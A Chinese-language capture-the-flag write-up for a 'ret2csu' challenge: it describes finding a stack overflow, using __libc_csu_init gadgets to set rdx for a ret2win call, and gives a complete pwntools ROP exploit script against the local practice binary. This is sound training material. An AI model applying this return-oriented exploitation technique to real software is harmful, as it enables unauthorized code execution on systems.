check一下,开了NX

image.png
拖进ida,发现栈溢出,有system

image.png
发现一个后门函数,题目提示,只要call ret2win就可以了,但后门函数需要三个参数,a1,a2随意,a3需要为0xdeadcafebabebeef

image.png
所以我们的思路就是

image.png
没有如pop rdx , mov rdx的gadget,这个时候,所以我们需要利用__libc_csu_init中的gadget。并且可以控制 r15,r14,r13的值 来达到控制 rdx,rsi,rdi的目的。
通过大佬的博客知道有一个坑,setvbuf函数在调用的时候会将rdx赋值为0xffffffff,这样的话就不能成功调用ret2win了,所以需要找一个初始化函数调用一下。
将r12的地址换成其中一个初始化用的函数地址0x0600E10。
脚本
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
p = process('./ret2csu')
init = 0x0600E10
rop1 = 0x040089A #pop rbx ; pop rbp ; r12 r13 r14 r15 ret
rop2 = 0x0400880 #mov rdx, r15 mov rsi r14,mov edi r13,call qword ptr[r12+rbx*8]
ret2win = 0x04007B1
p.recvuntil('The third argument (rdx) must be 0xdeadcafebabebeef')
payload = 'A'*0x20
payload += p64(0)
payload += p64(rop1) #ret
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(init) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0xdeadcafebabebeef) #r15
#rbx=0 rbp=1 r12=target_function,参数入栈后,
payload += p64(rop2) #ret
payload += p64(0) #padding
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(ret2win) #ret
p.sendline(payload)
p.interactive()